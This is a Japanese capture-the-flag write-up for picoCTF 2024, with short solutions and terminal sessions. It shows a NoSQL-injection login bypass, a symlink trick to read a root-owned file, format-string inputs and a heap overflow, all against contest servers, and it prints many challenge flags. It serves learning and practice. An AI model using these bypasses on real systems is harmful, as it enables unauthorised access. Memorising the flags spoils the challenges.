picoCTF2024に参加しグローバルランク: 1971/6957、JP学生ランク: 47/115でした。
Writeupを書ける範囲で書きます。
Web Exploitation
Bookmarklet
問題
Why search for the flag when I can make a bookmarklet to print it for me? Browse here, and find the flag!
ブックマークレットを作成して印刷できるのに、なぜフラグを検索する必要があるでしょうか。 ここを閲覧して旗を見つけてください!
サイトにアクセスするとjsのコードが書かれている。
解法
テキストボックスに表示されているjsのコードをコンソールで実行するとFlagゲット。
WebDecode
問題
Do you know how to use the web inspector? Start searching here to find the flag
Webインスペクタの使い方を知っていますか? ここから検索を開始して旗を見つけてください
サイトに飛ぶとホームページが表示される。
解法
about.html
にエンコードされた文字列を発見したのでbase64
でデコードするとフラグゲット。
IntroToBurp
問題
Try here to find the flag
ここで旗を探してみてください
サイトにアクセスすると登録フォームがあり、その後OTPを入力するようになっている。
解法
リクエストボディにotp=
で値を送っているのでそれを削除するとフラグゲット。
Unminify
問題
I don't like scrolling down to read the code of my website, so I've squished it. As a bonus, my pages load faster! Browse here, and find the flag!
私は自分の Web サイトのコードを読むために下にスクロールするのが好きではないので、コードを押しつぶしてしまいました。 おまけに、ページの読み込みも速くなりました。 ここを閲覧して旗を見つけてください!
Bookmarkletと同じようなサイト。
解法
ソースコードを見るとフラグゲット。
No Sql Injection
問題
Can you try to get access to this website to get the flag? You can download the source here. The website is running here. Can you log in?
フラグを取得するためにこの Web サイトにアクセスしてみてもらえますか? ソースはここからダウンロードできます。 ウェブサイトはここで運営されています。 ログインできますか?
アクセスするとログインフォームが表示される。
解法
ソースコードからアカウントのメールアドレスは確認できた。
export const seedUsers = async (): Promise<void> => {
try {
const users = await User.find({email: "joshiriya355@mumbama.com"});
if (users.length > 0) {
return;
}
const newUser = new User({
firstName: "Josh",
lastName: "Iriya",
email: "joshiriya355@mumbama.com",
password: process.env.NEXT_PUBLIC_PASSWORD as string
});
await newUser.save();
} catch (error) {
throw new Error("Some thing went wrong")
}
};
また、MongoDB
を使用、認証処理が脆弱であると分かる。
export const POST = async (req: any) => {
const { email, password } = await req.json();
try {
await connectToDB();
await seedUsers();
const users = await User.find({
email: email.startsWith("{") && email.endsWith("}") ? JSON.parse(email) : email,
password: password.startsWith("{") && password.endsWith("}") ? JSON.parse(password) : password
});
$gt
を使って($ne
とかでも良い)バイパスしすると、エンコードされたtokenが返ってくるので、デコードしてフラグゲット。
Cryptography
interencdec
問題
Can you get the real meaning from this file. Download the file here.
このファイルから本当の意味を理解できますか? ここからファイルをダウンロードしてください。
解法
base64
->base64
->rot13
の順にデコードしてフラグゲット。
┌──(kali㉿kali)-[~]
└─$ echo -n "YidkM0JxZGtwQlRYdHFhR3g2YUhsZmF6TnFlVGwzWVROclh6ZzJhMnd6TW1zeWZRPT0nCg==" | base64 -d
b'd3BqdkpBTXtqaGx6aHlfazNqeTl3YTNrXzg2a2wzMmsyfQ=='
┌──(kali㉿kali)-[~]
└─$ echo -n "d3BqdkpBTXtqaGx6aHlfazNqeTl3YTNrXzg2a2wzMmsyfQ==" | base64 -d
wpjvJAM{jhlzhy_k3jy9wa3k_86kl32k2}
Forensics
Scan Surprice
問題
I've gotten bored of handing out flags as text. Wouldn't it be cool if they were an image instead? You can download the challenge files here:
フラグをテキストとして配布するのには飽きてきました。 代わりに画像だったらクールだと思いませんか? チャレンジ ファイルはここからダウンロードできます。
解法
ファイルをダウンロードするとQRコードがあるのでcyberchefでParse QR Codeをするとフラグゲット。
Verify
問題
People keep trying to trick my players with imitation flags. I want to make sure they get the real thing! I'm going to provide the SHA-256 hash and a decrypt script to help you know that my flags are legitimate. You can download the challenge files here:
人々は模倣の旗で私のプレイヤーを騙そうとし続けています。 本物を手に取ってもらいたい! 私のフラグが正当なものであることを確認できるように、SHA-256 ハッシュと復号化スクリプトを提供します。 チャレンジ ファイルはここからダウンロードできます。
解法
/files
配下にあるファイルからchecksum.txt
にあるハッシュ値と一致するファイルを見つけ、decrypt.sh
を実行すればフラグゲット。
ctf-player@pico-chall$ cat ./checksum.txt
55b983afdd9d10718f1db3983459efc5cc3f5a66841e2651041e25dec3efd46a
ctf-player@pico-chall$ sha256sum ./files/* | grep 55b983afdd9d10718f1db3983459efc5cc3f5a66841e2651041e25dec3efd46a
55b983afdd9d10718f1db3983459efc5cc3f5a66841e2651041e25dec3efd46a ./files/2cdcb2de
ctf-player@pico-chall$ decrypt.sh ./files/2cdcb2de
picoCTF{trust_but_verify_2cdcb2de}
CanYouSee
問題
How about some hide and seek?
かくれんぼはいかがですか?
画像ファイルが渡される。
解法
cyberchefで画像ファイルを見るとbase64
でエンコードされた文字列を発見するのでデコードしてフラグゲット。
┌──(kali㉿kali)-[~/Desktop/drop-in]
└─$ echo -n "cGljb0NURntNRTc0RDQ3QV9ISUREM05fNmE5ZjVhYzR9Cg==" | base64 -d
picoCTF{ME74D47A_HIDD3N_6a9f5ac4}
Secret of the Polyglot
問題
The Network Operations Center (NOC) of your local institution picked up a suspicious file, they're getting conflicting information on what type of file it is. They've brought you in as an external expert to examine the file. Can you extract all the information from this strange file?
地元の教育機関のネットワーク オペレーション センター (NOC) は不審なファイルを検出しました。ファイルの種類に関して矛盾する情報を取得しています。 ファイルを調査するためにあなたを外部の専門家として迎え入れました。 この奇妙なファイルからすべての情報を抽出できるでしょうか?
解法
提示されたPDFファイルにフラグの後半部分であろう文字列が表示される。
問題文にもあるようにこのファイルはPolyglotファイルになっていてpng形式で開くとフラグの前半部分が表示される。
General Skills
Super SSH
問題
Using a Secure Shell (SSH) is going to be pretty important. Can you ssh as ctf-player to titan.picoctf.net at port 49566 to get the flag?
Secure Shell (SSH) の使用は非常に重要になります。 フラグを取得するために、ポート 49566 で titan.picoctf.net に ctf-player として ssh 接続できますか?
解法
49566ポートにSSH接続すればフラグゲット。
┌──(kali㉿kali)-[~/Desktop/drop-in]
└─$ ssh -p 49566 ctf-player@titan.picoctf.net
ctf-player@titan.picoctf.net's password:
Welcome ctf-player, here's your flag: picoCTF{s3cur3_c0nn3ct10n_45a48857}
Connection to titan.picoctf.net closed.
Commitment Issues
問題
I accidentally wrote the flag down. Good thing I deleted it! You download the challenge files here:
うっかりフラグを書いてしまいました。 削除して良かったです! ここからチャレンジ ファイルをダウンロードします。
解法
git log
で履歴を確認するとフラグを作成したcommitを確認できた。
git log
commit 42942c9c605b30100f5d859ef6e172027447c0db (HEAD -> master)
Author: picoCTF <ops@picoctf.com>
Date: Tue Mar 12 00:06:23 2024 +0000
remove sensitive info
commit b562f0b425907789d11d2fe2793e67592dc6be93
Author: picoCTF <ops@picoctf.com>
Date: Tue Mar 12 00:06:23 2024 +0000
create flag
checkout
で復元する。
git checkout b562f0b425907789d11d2fe2793e67592dc6be93
message.txt
にフラグが表示される。
Time Machine
問題
What was I last working on? I remember writing a note to help me remember... You can download the challenge files here:
私が最後に取り組んでいたのは何だったのでしょうか? 思い出すためにメモを書いたのを覚えています...チャレンジ ファイルはここからダウンロードできます。
解法
git log
で履歴を確認してフラグゲット。
git log
commit 712314f105348e295f8cadd7d7dc4e9fa871e9a2 (HEAD -> master)
Author: picoCTF <ops@picoctf.com>
Date: Tue Mar 12 00:07:26 2024 +0000
picoCTF{t1m3m@ch1n3_e8c98b3a}
Blame Game
問題
Someone's commits seems to be preventing the program from working. Who is it? You can download the challenge files here:
誰かのコミットがプログラムの動作を妨げているようです。 誰だ? チャレンジ ファイルはここからダウンロードできます。
解法
git blame
でフラグゲット。
git blame ./message.py
8c83358c (picoCTF{@sk_th3_1nt3rn_2c6bf174} 2024-03-12 00:07:11 +0000 1) print("Hello, World!"
Collaborative Development
問題
My team has been working very hard on new features for our flag printing program! I wonder how they'll work together? You can download the challenge files here:
私のチームは、国旗印刷プログラムの新機能の開発に熱心に取り組んでいます。 彼らはどのように協力するのだろうか? チャレンジ ファイルはここからダウンロードできます。
解法
ブランチが1~3まであることが確認できた。
git branch -a
feature/part-1
feature/part-2
feature/part-3
* main
1~3までブランチを切り替えてフラグゲット。
┌──(kali㉿kali)-[~/Desktop/drop-in]
└─$ git switch feature/part-1
Switched to branch 'feature/part-1'
┌──(kali㉿kali)-[~/Desktop/drop-in]
└─$ cat ./flag.py
print("Printing the flag...")
print("picoCTF{t3@mw0rk_", end='')
┌──(kali㉿kali)-[~/Desktop/drop-in]
└─$ git switch feature/part-2
Switched to branch 'feature/part-2'
┌──(kali㉿kali)-[~/Desktop/drop-in]
└─$ cat ./flag.py
print("Printing the flag...")
print("m@k3s_th3_dr3@m_", end='')
┌──(kali㉿kali)-[~/Desktop/drop-in]
└─$ git switch feature/part-3
Switched to branch 'feature/part-3'
┌──(kali㉿kali)-[~/Desktop/drop-in]
└─$ cat ./flag.py
print("Printing the flag...")
print("w0rk_6c06cec1}")
binhexa
問題
How well can you perfom basic binary operations? Start searching for the flag here nc titan.picoctf.net 49964
基本的な二項演算をどの程度うまく実行できますか? ここで旗の検索を開始します。nc titan.picoctf.net 49964
解法
netcatで接続すると演算問題が出されるので解いていく。
提示される数字や問題はランダム。
$ nc titan.picoctf.net 49964
Welcome to the Binary Challenge!"
Your task is to perform the unique operations in the given order and find the final result in hexadecimal that yields the flag.
Binary Number 1: 00000100
Binary Number 2: 00010101
Question 1/6:
Operation 1: '&'
Perform the operation on Binary Number 1&2.
Enter the binary result: 00000100
Correct!
Question 2/6:
Operation 2: '|'
Perform the operation on Binary Number 1&2.
Enter the binary result: 00010101
Correct!
Question 3/6:
Operation 3: '+'
Perform the operation on Binary Number 1&2.
Enter the binary result: 00111001
Incorrect. Try again
Enter the binary result: 00111001
Incorrect. Try again
Enter the binary result: 00011001
Correct!
Question 4/6:
Operation 4: '*'
Perform the operation on Binary Number 1&2.
Enter the binary result: 00000000
Incorrect. Try again
Enter the binary result: 1010100
Correct!
Question 5/6:
Operation 5: '>>'
Perform a right shift of Binary Number 2 by 1 bits .
Enter the binary result: 00001010
Correct!
Question 6/6:
Operation 6: '<<'
Perform a left shift of Binary Number 1 by 1 bits.
Enter the binary result: 00001000
Correct!
Enter the results of the last operation in hexadecimal: 0x08
Correct answer!
The flag is: picoCTF{b1tw^3se_0p3eR@tI0n_su33essFuL_d6f8047e}
Binary Search
問題
Want to play a game? As you use more of the shell, you might be interested in how they work! Binary search is a classic algorithm used to quickly find an item in a sorted list. Can you find the flag? You'll have 1000 possibilities and only 10 guesses. Cyber security often has a huge amount of data to look through - from logs, vulnerability reports, and forensics. Practicing the fundamentals manually might help you in the future when you have to write your own tools! You can download the challenge files here:
ゲームで遊びたい? シェルをさらに使用するにつれて、シェルがどのように機能するかに興味が湧くかもしれません。 二分探索は、並べ替えられたリスト内の項目をすばやく見つけるために使用される古典的なアルゴリズムです。 旗を見つけられますか? 1000 通りの可能性がありますが、推測は 10 個だけです。 サイバー セキュリティでは、ログ、脆弱性レポート、フォレンジックなど、調査すべき大量のデータが必要になることがよくあります。 基本を手動で練習しておくと、将来、独自のツールを作成しなければならなくなったときに役立つかもしれません。 チャレンジ ファイルはここからダウンロードできます。
解法
ssh接続して二分探索で調べてフラグゲット。
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh -p 62049 ctf-player@atlas.picoctf.net
ctf-player@atlas.picoctf.net's password:
Welcome to the Binary Search Game!
I'm thinking of a number between 1 and 1000.
Enter your guess: 500
Higher! Try again.
Enter your guess: 700
Lower! Try again.
Enter your guess: 600
Higher! Try again.
Enter your guess: 650
Higher! Try again.
Enter your guess: 680
Lower! Try again.
Enter your guess: 670
Lower! Try again.
Enter your guess: 660
Higher! Try again.
Enter your guess: 665
Lower! Try again.
Enter your guess: 663
Congratulations! You guessed the correct number: 663
Here's your flag: picoCTF{g00d_gu355_1597707f}
Connection to atlas.picoctf.net closed.
endianness
問題
Know of little and big endian?
リトルエンディアンとビッグエンディアンについてご存知ですか?
解法
提示された文字列をリトルエンディアンとビッグエンディアンそれぞれ変換してフラグゲット。
┌──(kali㉿kali)-[~/Desktop]
└─$ nc titan.picoctf.net 58492
Welcome to the Endian CTF!
You need to find both the little endian and big endian representations of a word.
If you get both correct, you will receive the flag.
Word: xjgyr
Enter the Little Endian representation: 7279676A78
Correct Little Endian representation!
Enter the Big Endian representation: 786A677972
Correct Big Endian representation!
Congratulations! You found both endian representations correctly!
Your Flag is: picoCTF{3ndi4n_sw4p_su33ess_25c5f083}
dont-you-love-banners
問題
Can you abuse the banner? The server has been leaking some crucial information on tethys.picoctf.net 53449. Use the leaked information to get to the server. To connect to the running application use nc tethys.picoctf.net 49469. From the above information abuse the machine and find the flag in the /root directory.
バナーを悪用することはできますか? サーバーは、tethys.picoctf.net 53449 で重要な情報を漏洩しています。漏洩した情報を使用してサーバーにアクセスします。 実行中のアプリケーションに接続するには、nc tethys.picoctf.net 49469 を使用します。上記の情報からマシンを悪用し、/root ディレクトリでフラグを見つけます。
解法
一つ目のアドレスにアクセスすると2つ目のアドレスにログインするためのパスワードが得られる。
┌──(kali㉿kali)-[~/Desktop]
└─$ nc tethys.picoctf.net 63821
SSH-2.0-OpenSSH_7.6p1 My_Passw@rd_@1234
2つ目のアドレスにアクセスするとクイズが出題されるので回答する。
┌──(kali㉿kali)-[~/Desktop]
└─$ nc tethys.picoctf.net 52680
*************************************
**************WELCOME****************
*************************************
what is the password?
My_Passw@rd_@1234
What is the top cyber security conference in the world?
DEFCON
the first hacker ever was known for phreaking(making free phone calls), who was it?
John
player@challenge:~$
シェルが得られたので/root
配下を見ると接続した際のバナー表示やクイズのスクリプトファイルとflag.txt
を発見した。
import os
import pty
incorrect_ans_reply = "Lol, good try, try again and good luck\n"
if __name__ == "__main__":
try:
with open("/home/player/banner", "r") as f:
print(f.read())
except:
print("*********************************************")
print("***************DEFAULT BANNER****************")
print("*Please supply banner in /home/player/banner*")
print("*********************************************")
try:
request = input("what is the password? \n").upper()
while request:
if request == 'MY_PASSW@RD_@1234':
text = input("What is the top cyber security conference in the world?\n").upper()
if text == 'DEFCON' or text == 'DEF CON':
output = input(
"the first hacker ever was known for phreaking(making free phone calls), who was it?\n").upper()
if output == 'JOHN DRAPER' or output == 'JOHN THOMAS DRAPER' or output == 'JOHN' or output== 'DRAPER':
scmd = 'su - player'
pty.spawn(scmd.split(' '))
else:
print(incorrect_ans_reply)
else:
print(incorrect_ans_reply)
else:
print(incorrect_ans_reply)
break
except:
KeyboardInterrupt
flag.txt
は権限がないので開けない
player@challenge:~$ cat /root/flag.txt
cat /root/flag.txt
cat: /root/flag.txt: Permission denied
/home/player
配下のbanner
ファイルを読み込んでいるので、シンボリックリンクを使ってスクリプトからflag.txt
を開かせる。
player@challenge:~$ mv ./banner ./banner_cp
mv ./banner ./banner_cp
player@challenge:~$ ln -s /root/flag.txt ./banner
ln -s /root/flag.txt ./banner
再度接続してフラグゲット。
┌──(kali㉿kali)-[~/Desktop]
└─$ nc tethys.picoctf.net 52680
picoCTF{b4nn3r_gr4bb1n9_su((3sfu11y_f7608541}
what is the password?
Binary Exploitation
format string 0
問題
Can you use your knowledge of format strings to make the customers happy? Download the binary here. Download the source here.
フォーマット文字列の知識を利用して顧客を満足させることはできますか? ここからバイナリをダウンロードします。 ここからソースをダウンロードしてください。
解法
netcat
で接続して最初にGr%114d_Cheese
、次にCla%sic_Che%s%steak
を選択してフラグゲット。
┌──(kali㉿kali)-[~/Desktop]
└─$ nc mimas.picoctf.net 60485
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: Gr%114d_Cheese
Gr 4202954_Cheese
Good job! Patrick is happy! Now can you serve the second customer?
Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!)
Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
Enter your recommendation: Cla%sic_Che%s%steak
ClaCla%sic_Che%s%steakic_Che(null)
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_ef312157}
heap 0
問題
Are overflows just a stack concern? Download the binary here. Download the source here.
オーバーフローは単にスタックの問題なのでしょうか? ここからバイナリをダウンロードします。 ここからソースをダウンロードしてください。
解法
netcat
で接続してオーバーフローする値を書き込んでフラグゲット。
┌──(kali㉿kali)-[~/Desktop]
└─$ nc tethys.picoctf.net 51599
Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x560aeeba22b0 -> pico
+-------------+----------------+
[*] 0x560aeeba22d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 2
Data for buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 4
YOU WIN
picoCTF{my_first_heap_overflow_e4c92a78}